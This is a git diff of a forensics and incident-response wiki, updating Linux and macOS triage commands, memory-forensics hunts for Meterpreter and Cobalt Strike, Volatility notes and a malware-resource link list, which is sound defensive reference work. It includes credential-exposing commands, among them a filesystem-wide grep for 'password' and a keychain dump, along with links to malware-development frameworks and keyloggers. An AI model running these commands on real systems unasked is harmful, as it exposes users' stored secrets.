-n ``` -### IP Table Information +### IP Tables -``` +```bash ls /etc/iptables cat /etc/iptables/*.v4 cat /etc/iptables/*.v6 iptables -L +iptables-save ``` -### Network Configuration +### Network Configuration -``` -ifconfig -a +```bash +ip addr show +ip route show +ip neigh show ``` -### Browser Plugin Information +### Browser Extensions and Plugins -``` +```bash ls -la ~/.mozilla/plugins ls -la /usr/lib/mozilla/plugins ls -la /usr/lib64/mozilla/plugins ls -la ~/.config/google-chrome/Default/Extensions/ ``` -### Kernel Modules and Extensions/ +### Kernel Modules -``` +```bash ls -la /lib/modules/*/kernel/* +lsmod ``` -### Process Information +### Process Listing -``` +```bash ps -s ps -l ps -o @@ -188,51 +196,54 @@ ps -a top ``` -### Search files recursively in directory for keyword +### Searching Files -``` +```bash grep -H -i -r "password" / ``` -### Process Tree +### Process Tree -``` +```bash ps -auxwf ``` -### Open Files and space usage +### Open Files and Space Usage -``` +```bash lsof du ``` -### Pluggable Authentication Modules (PAM) +### Pluggable Authentication Modules (PAM) -``` +```bash cat /etc/pam.d/sudo cat /etc/pam.conf ls /etc/pam.d/ ``` -### Disk / Partition Information +### Disk and Partition Information -``` +```bash fdisk -l +lsblk +mount +df -h ``` -### [System Calls / Network Traffic](https://bytefreaks.net/gnulinux/how-to-capture-all-network-traffic-of-a-single-process) +### [System Calls and Network Traffic](https://bytefreaks.net/gnulinux/how-to-capture-all-network-traffic-of-a-single-process) -``` +```bash strace -f -e trace=network -s 10000 ; strace -f -e trace=network -s 10000 -p ; ``` Note: Below material with thanks to [Craig Rowland - Sandfly Security](https://blog.apnic.net/2019/10/14/how-to-basic-linux-malware-process-forensics-for-incident-responders/) -### Detailed Process Information +### Detailed Process Information -``` +```bash ls -al /proc/[PID] ``` @@ -242,28 +253,28 @@ ls -al /proc/[PID] * EXE = Binary location and whether it has been deleted * Most Common Timestamp = When process was created -### Recover deleted binary which is currently running +### Recovering Deleted Binaries -``` +```bash cp /proc/[PID]/exe /[destination]/[binaryname] ``` -### Capture Binary Data for Review +### Capturing Binary Data -``` +```bash cp /proc/[PID]/ /[destination]/[PID]/ ``` -### Binary hash information +### Binary Hashing -``` +```bash sha1sum /[destination]/[binaryname] md5sum /[destination]/[binaryname] ``` -### Process Command Line Information +### Process Command Line -``` +```bash cat /proc/[PID]/cmdline cat /proc/[PID]/comm ``` @@ -272,36 +283,36 @@ cat /proc/[PID]/comm * Significant differences in the above 2 outputs and the specified binary name under /proc/\[PID]/exe can be indicative of malicious software attempting to remain undetected. -### Process Environment Variables (incl user who ran binary) +### Process Environment Variables -``` +```bash strings /proc/[PID]/environ cat /proc/[PID]/environ ``` -### Process file descriptors/maps (what the process is ‘accessing’ or using) +### Process File Descriptors and Maps -``` +```bash ls -al /proc/[PID]/fd cat /proc/[PID]/maps ``` -### Process stack/status information (may reveal useful elements) +### Process Stack and Status -``` +```bash cat /proc/[PID]/stack cat /proc/[PID]/status ``` -### Deleted binaries which are still running +### Identifying Deleted Binaries Still Running -``` +```bash ls -alr /proc/*/exe 2> /dev/null | grep deleted ``` -### Process Working Directories (including common targeted directories) +### Process Working Directories -``` +```bash ls -alr /proc/*/cwd ls -alr /proc/*/cwd 2> /dev/null | grep tmp ls -alr /proc/*/cwd 2> /dev/null | grep dev @@ -309,59 +320,59 @@ ls -alr /proc/*/cwd 2> /dev/null | grep var ls -alr /proc/*/cwd 2> /dev/null | grep home ``` -### Hidden Directories and Files +### Hidden Directories and Files -``` +```bash find / -type d -name ".*" ``` -### Immutable Files and Directories (Often Suspicious) +### Immutable Files and Directories -``` +```bash lsattr / -R 2> /dev/null | grep "\----i" ``` -### SUID/SGID and Sticky Bit Special Permissions +### SUID/SGID and Sticky Bit Special Permissions -``` +```bash find / -type f \( -perm -04000 -o -perm -02000 \) -exec ls -lg {} \; ``` -### File and Directories with no user/group name +### Files and Directories with No User/Group -``` +```bash find / \( -nouser -o -nogroup \) -exec ls -lg {} \; ``` -### File types in current directory +### File Types -``` +```bash file * -p ``` -### Executables on file system +### Finding Executables -``` +```bash find / -type f -exec file -p '{}' \; | grep ELF ``` -### Hidden Executables on file system +### Finding Hidden Executables -``` +```bash find / -name ".*" -exec file -p '{}' \; | grep ELF ``` -### Files modified within the past day +### Recently Modified Files -``` +```bash find / -mtime -1 ``` -### Persistent Areas of Interest +### Persistent Areas of Interest -``` +```bash /etc/rc.local -/etc/initd +/etc/init.d /etc/rc*.d /etc/modules /etc/cron* @@ -370,19 +381,44 @@ find / -mtime -1 /usr/lib/cron/tabs ``` -### Audit Logs +### Log Analysis -``` +```bash ls -al /var/log/* ls -al /var/log/*tmp utmpdump /var/log/btmp utmpdump /var/run/utmp utmpdump /var/log/wtmp +dmesg +journalctl -xb ``` -### Installed Software Packages +### Installed Software Packages -``` +```bash ls /usr/bin/ ls /usr/local/bin/ +dpkg -l +rpm -qa +``` + +## Malware Scanning + +```bash +rkhunter --check +chkrootkit +clamscan -r / +``` + +## Legacy Commands + +These commands differ by distribution but are largely deprecated in favor of `ip` and `ss`. + +### Network Information (Deprecated) + +```bash +ifconfig -a +netstat -apetul +netstat -plan +netstat -plant ``` diff --git a/dfir-digital-forensics-and-incident-response/macos-dfir-commands.md b/dfir-digital-forensics-and-incident-response/macos-dfir-commands.md index d6504f1..b46973c 100644 --- a/dfir-digital-forensics-and-incident-response/macos-dfir-commands.md +++ b/dfir-digital-forensics-and-incident-response/macos-dfir-commands.md @@ -1,16 +1,5 @@ # MacOS DFIR Commands -### Dumping Memory - -[OSXPMem](https://github.com/wrmsr/pmem/tree/master/OSXPMem) - -[MacPmem](https://github.com/google/rekall/releases/download/1.7.2rc1/rekall-OSX-1.7.2rc1.zip) - -``` -sudo kextload MacPmem.kext -sudo dd if=/dev/pmem of=memorydump.raw -``` - ### Live Mac IR / Triage #### System Information @@ -18,31 +7,41 @@ sudo dd if=/dev/pmem of=memorydump.raw ``` date sw_vers -uname –a +uname -a hostname +csrutil status +spctl --status cat /System/Library/CoreServices/SystemVersion.plist cat /private/var/log/daily.out cat /Library/preferences/.Globalpreferences.plist ``` +#### TCC (Privacy) Database Locations + +``` +# Requires Full Disk Access to read +ls -l ~/Library/Application\ Support/com.apple.TCC/TCC.db +ls -l /Library/Application\ Support/com.apple.TCC/TCC.db +``` + #### Network Connections ``` -netstat –an -netstat –anf +netstat -an +netstat -anf inet lsof -i ``` #### Routing Table ``` -netstat –rn +netstat -rn ``` #### Network Information ``` -arp –an +arp -an ndp -an ifconfig ``` @@ -62,10 +61,11 @@ sudo fs_usage -f network sudo fs_usage pid [PID] ``` -#### Bash History +#### Shell History ``` cat ~/.bash_history +cat ~/.zsh_history history ``` @@ -123,6 +123,13 @@ cat ~/Library/Preferences/com.apple.loginitems.plist ls .app/Contents/Library/LoginItems/ ``` +**Cron Jobs** + +``` +crontab -l +ls /usr/lib/cron/tabs/ +``` + #### Disable Persistent Launch Daemon ``` @@ -140,6 +147,8 @@ ls ~/Library/Application Support/Firefox/Profiles/********.default/prefs.js #### Safari Internet History +Some Safari artifacts below are legacy plist/cache locations. Modern Safari versions may store history and cache data in SQLite databases or changed container paths, so verify paths against the macOS version under investigation. + ``` cat ~/Library/Safari/Downloads.plist cat ~/Library/Safari/History.plist @@ -190,26 +199,36 @@ ls /Users//Library/Caches/Java/cache ``` ls /private/var/log/asl/ ls /private/var/audit/ +cat /private/var/log/install.log cat /private/var/log/appfirewall.log ls ~/Library/Logs -ls /Library/Application Support/ -ls /Applications/ ls /Library/Logs/ ``` -#### Specific Log Analysis +#### Unified Log Analysis (Modern) + +``` +# Collect logs to a diagnostic archive +sudo log collect --output diagnostic.logarchive + +# Show logs from last 1 hour +log show --last 1h + +# Stream logs live +log stream --level info + +# Predicate filtering (e.g., specific process) +log show --predicate 'process == "sudo"' --last 1d +``` + +#### Legacy Log Analysis ``` bzcat system.log.1.bz2 -system.log.0.bz2 >> system_all.log -cat system.log >> system_all.log +cat system.log syslog -f -syslog –T utc –F raw –d /asl -syslog -d /asl +syslog -T utc -F raw -d /asl praudit –xn /var/audit/* -sudo log collect -log show -log stream ``` #### Files Quarantined @@ -243,7 +262,7 @@ nm -arch x86_64 otool -L sudo vmmap sudo lsof -p -xattr –xl +xattr -xl ``` #### Connected Disks and Partitions @@ -251,10 +270,10 @@ xattr –xl ``` diskutil list diskutil info -diskutil cs -ap list -gpt –r show -gpt -r show -l +diskutil cs list +diskutil apfs list +tmutil listlocalsnapshots / +sudo gpt -r show /dev/disk0 ``` #### Disk File Image Information @@ -273,6 +292,21 @@ security dump-keychains -d #### Spotlight Metadata ``` -mdimport –X | -A +mdimport -X | -A mdls ``` + +### Deprecated / Legacy Tools + +#### Dumping Memory (Legacy) +*Note: Tools like OSXPMem and MacPmem rely on Kernel Extensions (kexts) which are deprecated and blocked by default on modern macOS (High Sierra and later). Using them requires disabling SIP and allowing kexts, which alters the system state.* + +[OSXPMem](https://github.com/wrmsr/pmem/tree/master/OSXPMem) (Unmaintained) + +[MacPmem](https://github.com/google/rekall/releases/download/1.7.2rc1/rekall-OSX-1.7.2rc1.zip) (Rekall Project - Unmaintained) + +``` +# Requires SIP disabled and Kext allowed +sudo kextload MacPmem.kext +sudo dd if=/dev/pmem of=memorydump.raw +``` diff --git a/dfir-digital-forensics-and-incident-response/malware.md b/dfir-digital-forensics-and-incident-response/malware.md index f62f6e7..a498ae8 100644 --- a/dfir-digital-forensics-and-incident-response/malware.md +++ b/dfir-digital-forensics-and-incident-response/malware.md @@ -1,10 +1,10 @@ # Malware -Wait wait wait, why are bad things here? +Understanding malware is essential for defensive security operations. Knowledge is the best defense; to protect against threats effectively, one must understand the tools and techniques adversaries use. -Well, because you need to know about them and knowledge is the best defense. I have lumped in some things that are not necessarily bad/malicious, but that can often be exploited or used for nefarious purposes. You need to be aware of them so that you can use them to keep yourself safe, as well as understand the tools/techniques that are out there and possibly being used by malicious actors. +This section focuses on defensive malware analysis, malware context, and sample repositories. Offensive malware and payload development references live in Red Offensive. -I will repeat: **Do not use the following knowledge for illegal or malicious purposes.** Dont be that guy. +**Disclaimer:** The resources provided here are for educational and research purposes only. **Do not use this knowledge for illegal or malicious activities.** {% hint style="danger" %} Malware - For research purposes ONLY @@ -15,35 +15,40 @@ Malware - For research purposes ONLY * [Awesome Lists Collection: Malware](https://github.com/fabacab/awesome-malware) * [Awesome Lists Collection: Linux Rootkits](https://github.com/milabs/awesome-linux-rootkits) * [Awesome Lists Collection: RATs](https://github.com/alphaSeclab/awesome-rat/blob/master/Readme\_en.md) -* [Infosec\_Reference/Malware](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/Malware.md) -* [Infosec\_Reference/Rootkits](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/Rootkits.md) -* [fireELF](https://github.com/rek7/fireELF) - fireELF is a opensource fileless linux malware framework thats crossplatform and allows users to easily create and manage payloads. By default is comes with 'memfd\_create' which is a new way to run linux elf executables completely from m -* [https://0xpat.github.io/](https://0xpat.github.io/) - Red/Purple teamer with great write ups on malware development -* [Coldfire](https://github.com/redcode-labs/Coldfire) - Golang malware development library -* [https://0xpat.github.io/Malware\_development\_part\_1/](https://0xpat.github.io/Malware\_development\_part\_1/) -* [https://0xpat.github.io/Malware\_development\_part\_2/](https://0xpat.github.io/Malware\_development\_part\_2/) -* [https://class.malware.re/](https://class.malware.re/) -* [https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1](https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1) - -## **Malware Sample Repositories** - -* [Clean-MX Malware Repository](https://support.clean-mx.com/clean-mx/viruses.php) -* [Contagio malware dump](https://contagiodump.blogspot.com/) -* [Cert-PA Malware index](https://infosec.cert-pa.it/analyze/submission.html) -* [InQuest Labs - InQuest.net](https://labs.inquest.net/) -* [Malshare Free Malware Repository](https://malshare.com/) -* [VirusBay](https://beta.virusbay.io/) [VirusShare.com](https://virusshare.com/) -* [vx-underground - home](https://vx-underground.org/) -* [theZoo](https://github.com/ytisf/theZoo) - A repository of LIVE malwares for your own joy and pleasure. theZoo is a project created to make the possibility of malware analysis open and available to the public. -* [https://github.com/boozallen/MOTIF](https://github.com/boozallen/MOTIF) - The Malware Open-source Threat Intelligence Family (MOTIF) dataset contains 3,095 disarmed PE malware samples from 454 families, labeled with ground truth confidence. -* [https://github.com/executemalware/Malware-IOCs](https://github.com/executemalware/Malware-IOCs) - -## Botnets - -* [BYOB - Build Your Own Botnet](https://github.com/malwaredllc/byob) - An open-source post-exploitation framework for students, researchers and developers. - * [https://perception-point.io/resources/research/byob-build-your-own-botnet-in-action/](https://perception-point.io/resources/research/byob-build-your-own-botnet-in-action/) -* [UBoat](https://github.com/UBoat-Botnet/UBoat) - An open-source post-exploitation framework for students, researchers and developers. - -## Keylogger - -[https://github.com/UndeadSec/HeraKeylogger](https://github.com/UndeadSec/HeraKeylogger) +* [Infosec Reference: Malware](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/Malware.md) +* [Infosec Reference: Rootkits](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/Rootkits.md) +* [Fantastic Rootkits and Where to Find Them (CyberArk)](https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1) +* [Malpedia](https://malpedia.caad.fkie.fraunhofer.de/) - A comprehensive resource for malware identification and context. +* [The C2 Matrix](https://www.thec2matrix.com/) - A matrix of Command and Control (C2) frameworks. +* [YARA](yara.md) - Guide to YARA rules for malware identification. + +{% content-ref url="../red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md" %} +[msfvenom-commands.md](../red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md) +{% endcontent-ref %} + +## Malware Sample Repositories + +* [MalwareBazaar](https://bazaar.abuse.ch/) - A project from abuse.ch for sharing malware samples. +* [Contagio Malware Dump](https://contagiodump.blogspot.com/) +* [InQuest Labs](https://labs.inquest.net/) +* [Malshare](https://malshare.com/) +* [VirusShare](https://virusshare.com/) +* [vx-underground](https://vx-underground.org/) +* [theZoo](https://github.com/ytisf/theZoo) - A repository of LIVE malware for analysis, created to make malware analysis open and available to the public. +* [MOTIF (Booz Allen)](https://github.com/boozallen/MOTIF) - The Malware Open-source Threat Intelligence Family (MOTIF) dataset contains 3,095 disarmed PE malware samples from 454 families. +* [Malware IOCs](https://github.com/executemalware/Malware-IOCs) - Also listed with CTI feeds for indicator-sharing workflows. + +{% content-ref url="../cyber-intelligence/intel-feeds-and-sources.md" %} +[intel-feeds-and-sources.md](../cyber-intelligence/intel-feeds-and-sources.md) +{% endcontent-ref %} + +## Archived or Inactive Resources + +The following resources may be offline, deprecated, or no longer maintained, but are preserved here for historical context. + +* **fireELF** - Fileless Linux malware framework. +* **UBoat** - HTTP Botnet PoC. +* **HeraKeylogger** - Chrome extension keylogger. +* **Clean-MX Malware Repository** +* **Cert-PA Malware Index** +* **VirusBay** diff --git a/dfir-digital-forensics-and-incident-response/memory-forensics/README.md b/dfir-digital-forensics-and-incident-response/memory-forensics/README.md index 62f7bd1..23308b9 100644 --- a/dfir-digital-forensics-and-incident-response/memory-forensics/README.md +++ b/dfir-digital-forensics-and-incident-response/memory-forensics/README.md @@ -2,9 +2,15 @@ ## Guides and Theory -### Dump full process memory +### Key Concepts -(procdump requires systinternals procdump.exe) +* **VAD (Virtual Address Descriptor)**: Data structure used by the Windows Memory Manager to describe memory ranges used by a process as they are allocated. Critical for spotting injected code affecting memory permissions (e.g., PAGE_EXECUTE_READWRITE). +* **DKOM (Direct Kernel Object Manipulation)**: A technique used by malware to hide processes/threads by unlinking them from OS lists (like the EPROCESS list) without modifying the actual objects, making them invisible to standard tools. +* **Pool Memory**: Kernel memory allocation. "Pool Tagging" helps identify which driver allocated a chunk of memory. + +### Dump Full Process Memory + +(Requires **Sysinternals ProcDump**) ``` procdump -ma [processID] @@ -12,26 +18,28 @@ procdump -ma [processID] ### Powershell Memory Capture -Where the Microsoft Storage namespace is available (known not to be available in Win7), PowerShell can be used to invoke a native live memory dump. +On systems where the `Microsoft.Windows.Storage` namespace is available (Windows 8/Server 2012 and later), PowerShell can be used to invoke a native live memory dump. ``` $ss = Get-CimInstance -ClassName MSFT_StorageSubSystem -Namespace Root\Microsoft\Windows\Storage; Invoke-CimMethod -InputObject $ss -MethodName "GetDiagnosticInfo" -Arguments @{DestinationPath="[LOCATION]\dmp"; IncludeLiveDump=$true}; ``` -* [https://twitter.com/0gtweet/status/1273264867382788096?s=20](https://twitter.com/0gtweet/status/1273264867382788096?s=20) +* [Reference Tweet (@0gtweet)](https://twitter.com/0gtweet/status/1273264867382788096?s=20) ## Live Triage of Memory -Shout-out to Matt Graeber, Jared Atkinson and Joe Desimone for the awesome work that has gone into these scripts. Note: Not all tested, appears to work with a standard Meterpreter payload, and by default with Cobalt Strike. +> **Note:** Most of these commands, especially those interacting with other processes or system memory, require **Administrative** or **SYSTEM** privileges. + +Credits to Matt Graeber, Jared Atkinson, and Joe Desimone for these scripts. Note: These techniques are effective against standard Meterpreter payloads and default Cobalt Strike configurations, though heavily dependent on the specific environment and EDR solutions present. * [PowerShellArsenal](https://github.com/JPMinty/PowerShellArsenal) * [Get-InjectedThread](https://gist.github.com/JPMinty/beffcd18d8ec06b73643c2f38cde384d) ### **Locate Possible Shellcode within process via Injected Thread** -``` -Import-Module .\Get-InjectedThread.ps1 +```powershell +. .\Get-InjectedThread.ps1 Get-InjectedThread ``` @@ -69,33 +77,49 @@ Get-ProcessMemoryInfo {PID} | ? {$_.AllocationProtect -eq "PAGE_EXECUTE_READWRIT Ref: [Meterpreter Wiki](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter) -``` -Find-ProcessPEs {PID} | ?{$_.ModuleName -eq "metsrv.dll" -OR $_.ModuleName -eq "ext_server_stdapi.dll" -OR $_.ModuleName -like "ext_server_*.dll"} | FL ProcessID,ModuleName,Imports; -$A=$(gps | Select -exp Id); foreach ($process in $A){Find-ProcessPEs $process | ?{$_.ModuleName -eq "metsrv.dll"} | FL ProcessID,ModuleName,Imports}; -$A=$(gps | Select -exp Id); foreach ($process in $A){Find-ProcessPEs $process | ?{$_.ModuleName -eq "metsrv.dll" | FL ProcessID,ModuleName,Imports}; -$A=$(gps | Select -exp Id); foreach ($process in $A){Find-ProcessPEs $process | ?{$_.ModuleName -eq "metsrv.dll" -OR $_.ModuleName -eq "ext_server_stdapi.dll" -OR $_.ModuleName -like "ext_server_*.dll"} | FL ProcessID,ModuleName,Imports}; +```powershell +# Check a specific PID +Find-ProcessPEs -ProcessID {PID} | Where-Object {$_.ModuleName -eq "metsrv.dll" -or $_.ModuleName -eq "ext_server_stdapi.dll" -or $_.ModuleName -like "ext_server_*.dll"} | Format-List ProcessID,ModuleName,Imports + +# Check all processes +Get-Process | ForEach-Object { + Find-ProcessPEs -ProcessID $_.Id | Where-Object { + $_.ModuleName -eq "metsrv.dll" -or + $_.ModuleName -eq "ext_server_stdapi.dll" -or + $_.ModuleName -like "ext_server_*.dll" + } | Format-List ProcessID,ModuleName,Imports +} ``` ### **Find Cobalt Strike in Process Memory:** -``` -Find-ProcessPEs {PID} | ?{$_.ModuleName -eq "beacon.dll" -OR $_.ModuleName -eq "beacon x64.dll" -OR $_.ModuleName -eq "beacon.x64.dll"} | FL ProcessID,ModuleName,Imports; -$A=$(gps | Select -exp Id); foreach ($process in $A){Find-ProcessPEs $process | ?{$_.ModuleName -eq "beacon.dll"} | FL ProcessID,ModuleName,Imports}; +```powershell +# Check a specific PID +Find-ProcessPEs -ProcessID {PID} | Where-Object {$_.ModuleName -eq "beacon.dll" -or $_.ModuleName -eq "beacon x64.dll" -or $_.ModuleName -eq "beacon.x64.dll"} | Format-List ProcessID,ModuleName,Imports + +# Check all processes +Get-Process | ForEach-Object { + Find-ProcessPEs -ProcessID $_.Id | Where-Object { + $_.ModuleName -eq "beacon.dll" -or + $_.ModuleName -eq "beacon x64.dll" -or + $_.ModuleName -eq "beacon.x64.dll" + } | Format-List ProcessID,ModuleName,Imports +} ``` ### In memory files locked by OS To obtain these files while they’re in use you can use a low level file extractor such as [RawCopy](https://github.com/jschicht/RawCopy) -hiberfil.sys (RAM stored during machine hibernation) +hiberfil.sys (Stores RAM contents during system hibernation) * %SystemRoot%\hiberfil.sys -pagefile.sys (Virtual memory used by Windows) +pagefile.sys (Paging file used for virtual memory) * %SystemDrive%\pagefile.sys -swapfile.sys (Virtual memory used by Windows Store Apps) +swapfile.sys (Used by Windows Store (UWP) apps for swapping) * %SystemDrive%\swapfile.sys @@ -110,18 +134,24 @@ swapfile.sys (Virtual memory used by Windows Store Apps) * [LiME, Linux Memory Extractor](https://github.com/504ensicsLabs/LiME) * [https://github.com/jschicht/RawCopy](https://github.com/jschicht/RawCopy) - Commandline low level file extractor for NTFS * [Belkasoft Live RAM Capture Tool](https://belkasoft.com/get?product=ram) - Belkasoft Live RAM Capturer is a tiny free forensic tool that allows to reliably extract the entire contents of computer’s volatile memory—even if protected by an active anti-debugging or anti-dumping system. -* [Redline](https://www.fireeye.com/services/freeware/redline.html) - Redline®, FireEye's premier free endpoint security tool, provides host investigative capabilities to users to find signs of malicious activity through memory and file analysis and the development of a threat assessment profile. - * [https://resources.infosecinstitute.com/topic/memory-analysis-using-redline/](https://resources.infosecinstitute.com/topic/memory-analysis-using-redline/) -* [Memoryze](https://www.fireeye.com/services/freeware/memoryze.html) - Mandiant’s Memoryze™ is free memory forensic software that helps incident responders find evil in live memory. Memoryze can acquire and/or analyze memory images and on live systems can include the paging file in its analysis. +* **Redline** - Legacy FireEye/Mandiant host investigation tool. Original FireEye freeware links may no longer be maintained. + * [Memory Analysis Using Redline](https://resources.infosecinstitute.com/topic/memory-analysis-using-redline/) +* **Memoryze** - Legacy Mandiant memory forensic software. Original FireEye freeware links may no longer be maintained. * [MAGNET RAM Capture](https://www.magnetforensics.com/resources/magnet-ram-capture/) - MAGNET RAM Capture is a free imaging tool designed to capture the physical memory of a suspect’s computer, allowing investigators to recover and analyze valuable artifacts that are often only found in memory. * [Volexity Surge](https://www.volexity.com/products-overview/surge/) - Volexity’s Surge Collect offers flexible storage options and an intuitive interface that any responder can run to eliminate the issues associated with the corrupt data samples, crashed target computers, and ultimately, unusable data that commonly results from using other tools. * [https://www.volexity.com/blog/2018/06/12/surge-collect-provides-reliable-memory-acquisition-across-windows-linux-and-macos/](https://www.volexity.com/blog/2018/06/12/surge-collect-provides-reliable-memory-acquisition-across-windows-linux-and-macos/) -* [LiveKD](https://docs.microsoft.com/en-us/sysinternals/downloads/livekd) - Written by the Legendary Mark Russinovich, _LiveKD_ allows you to run the Kd and Windbg Microsoft kernel debuggers, which are part of the [Debugging Tools for Windows package](https://www.microsoft.com/whdc/devtools/debugging/default.mspx), locally on a live system. Execute all the debugger commands that work on crash dump files to look deep inside the system. -* [aeskeyfind](https://www.kali.org/tools/aeskeyfind/) - Illustrates automatic techniques for locating 128-bit and 256-bit AES keys in a captured memory image. +* [LiveKD](https://learn.microsoft.com/en-us/sysinternals/downloads/livekd) - Written by Mark Russinovich, _LiveKD_ allows you to run the Kd and Windbg Microsoft kernel debuggers locally on a live system. * [WinPMem](https://github.com/Velocidex/WinPmem/releases) - The Memory forensics utility found within the [Velociraptor](https://github.com/Velocidex/velociraptor) toolset. * [https://winpmem.velocidex.com/docs/memory/](https://winpmem.velocidex.com/docs/memory/) -* [rsakeyfind](https://www.kali.org/tools/rsakeyfind/) - rsakeyfind is a tool that locates BER-encoded RSA private keys in MEMORY-IMAGE. If a MODULUS-FILE is specified, it will locate private and public keys matching the hex-encoded modulus read from this file. * [dumpscan](https://github.com/daddycocoaman/dumpscan) - **Dumpscan** is a command-line tool designed to extract and dump secrets from kernel and Windows Minidump formats. Kernel-dump parsing is provided by [volatility3](https://github.com/volatilityfoundation/volatility3). +* [MemProcFS](https://github.com/ufrisk/MemProcFS) - The Memory Process File System. Visualizes memory as a virtual file system for easy mounting and analysis. +* [PE-sieve](https://github.com/hasherezade/pe-sieve) - A light-weight tool that scans processes for hollowed processes, shellcode, and hooks. +* [FTK Imager](https://www.exterro.com/ftk-imager) - Widely used simplified tool for creating forensic images (including memory) without altering evidence. + +## Legacy / Specialized Utils + +* [aeskeyfind](https://www.kali.org/tools/aeskeyfind/) - Illustrates automatic techniques for locating 128-bit and 256-bit AES keys in a captured memory image (2008). +* [rsakeyfind](https://www.kali.org/tools/rsakeyfind/) - Locates BER-encoded RSA private keys in memory images (2010). Modern Volatility plugins often handle this. ``` winpmem.exe -o test.aff4 -dd @@ -130,7 +160,12 @@ winpmem.exe -o test.raw --format raw -dd ## **Resources** -* [MemLabs](https://github.com/stuxnet999/MemLabs) - Educational, CTF-styled labs for individuals interested in Memory Forensics +* Memory forensics labs and CTFs have moved to Training. + +{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} + * [https://www.howtogeek.com/196672/windows-memory-dumps-what-exactly-are-they-for/](https://www.howtogeek.com/196672/windows-memory-dumps-what-exactly-are-they-for/) * SANS Memory Forensics CheatSheet diff --git a/dfir-digital-forensics-and-incident-response/memory-forensics/volatility.md b/dfir-digital-forensics-and-incident-response/memory-forensics/volatility.md index 6952b75..60ce77f 100644 --- a/dfir-digital-forensics-and-incident-response/memory-forensics/volatility.md +++ b/dfir-digital-forensics-and-incident-response/memory-forensics/volatility.md @@ -1,145 +1,176 @@ # Volatility -## [Volatility](https://github.com/volatilityfoundation/volatility) - -Memory forensics framework for extracting data from RAM. - -* [https://www.volatilityfoundation.org/](https://www.volatilityfoundation.org/26) -* [Evolve](https://github.com/JamesHabben/evolve): Volatility Web UI -* [Volatility samples](https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples) -* [volatility-autoruns](https://github.com/tomchop/volatility-autoruns/) - Automates most of the tasks you would need to run when trying to find out where malware is persisting from. Once all the autostart locations are found, they are matched with running processes in memory. -* [https://github.com/volatilityfoundation/volatility/wiki/Command-Reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference) -* [https://resources.infosecinstitute.com/topic/memory-forensics-and-analysis-using-volatility/](https://resources.infosecinstitute.com/topic/memory-forensics-and-analysis-using-volatility/) -* [https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html](https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html) -* _Operator Handbook: Volatility - pg. 315_ - -## Volatility 3.x Basics - -Note: [Version 3 of Volatility](https://github.com/volatilityfoundation/volatility3/) was released in November 2019 which changes the Volatility usage and syntax. More information on V3 of Volatility can be found on [ReadTheDocs](https://volatility3.readthedocs.io/en/latest/basics.html). - -A list of common plugins are: - -* linux.bash.Bash -* linux.check\_afinfo.Check\_afinfo -* linux.check\_syscall.Check\_syscall -* linux.elfs.Elfs -* linux.lsmod.Lsmod -* linux.lsof.Lsof -* linux.malfind.Malfind -* linux.proc.Maps -* linux.pslist.PsList -* linux.pstree.PsTree -* mac.bash.Bash -* mac.check\_syscall.Check\_syscall -* mac.check\_sysctl.Check\_sysctl -* mac.check\_trap\_table.Check\_trap\_table -* mac.ifconfig.Ifconfig -* mac.lsmod.Lsmod -* mac.lsof.lsof -* mac.malfind.Malfind -* mac.netstat.Netstat -* mac.proc\_maps.Maps -* mac.psaux.Psaux -* mac.pslist.PsList -* mac.pstree.PsTree -* mac.tasks.Tasks -* mac.timers.Timers -* mac.trustedbsd.trustedbsd -* windows.cmdline.CmdLine -* windows.dlldump.DllDump -* windows.dlllist.DllList -* windows.driverirp.DriverIrp -* windows.driverscan.DriverScan -* windows.filescan.FileScan -* windows.handles.Handles -* windows.info.Info -* windows.malfind.Malfind -* windows.moddump.ModDump -* windows.modscan.ModScan -* windows.modules.Modules -* windows.mutantscan.MutantScan -* windows.poolscanner.PoolScanner -* windows.procdump.ProcDump -* windows.pslist.PsList -* windows.psscan.PsScan -* windows.pstree.PsTree -* windows.registry.certificates.Certificates -* windows.registry.hivedump.HiveDump -* windows.registry.hivelist.HiveList -* windows.registry.hivescan.HiveScan -* windows.registry.printkey.PrintKey -* windows.registry.userassist.UserAssist -* windows.ssdt.SSDT -* windows.statistics.Statistics -* windows.strings.Strings -* windows.symlinkscan.SymlinkScan -* windows.vaddump.VadDump -* windows.vadinfo.VadInfo -* windows.virtmap.VirtMap -* timeliner.Timeliner +## [Volatility](https://github.com/volatilityfoundation/volatility) + +Volatility is a memory forensics framework for extracting and analyzing data from volatile memory (RAM) dumps. + +* [Volatility Foundation](https://www.volatilityfoundation.org/) +* [Volatility samples](https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples) + +### Volatility 3 Resources +* [Volatility 3 Source Code](https://github.com/volatilityfoundation/volatility3/) +* [Volatility 3 Documentation](https://volatility3.readthedocs.io/en/latest/basics.html) +* [Memory Forensics R Illustrated](https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html) + +### Volatility 2 (Legacy) Resources +* [Volatility 2 Source Code](https://github.com/volatilityfoundation/volatility) +* [Command Reference (V2 Wiki)](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference) +* [Evolve](https://github.com/JamesHabben/evolve): Volatility Web UI (for Volatility 2) +* [volatility-autoruns](https://github.com/tomchop/volatility-autoruns/) - Automates most of the tasks you would need to run when trying to find out where malware is persisting from. (for Volatility 2) +* [Memory Forensics and Analysis Using Volatility (InfoSec Institute)](https://resources.infosecinstitute.com/topic/memory-forensics-and-analysis-using-volatility/) +* Volatility command references change between Volatility 2 and Volatility 3; verify plugin names against the version you are using. + +## Volatility 3.x Basics + +[Volatility 3](https://github.com/volatilityfoundation/volatility3/) was released in November 2019 and introduces significant changes to usage and syntax compared to Volatility 2. It is written in Python 3 and no longer requires strict profile selection, instead using symbol tables to 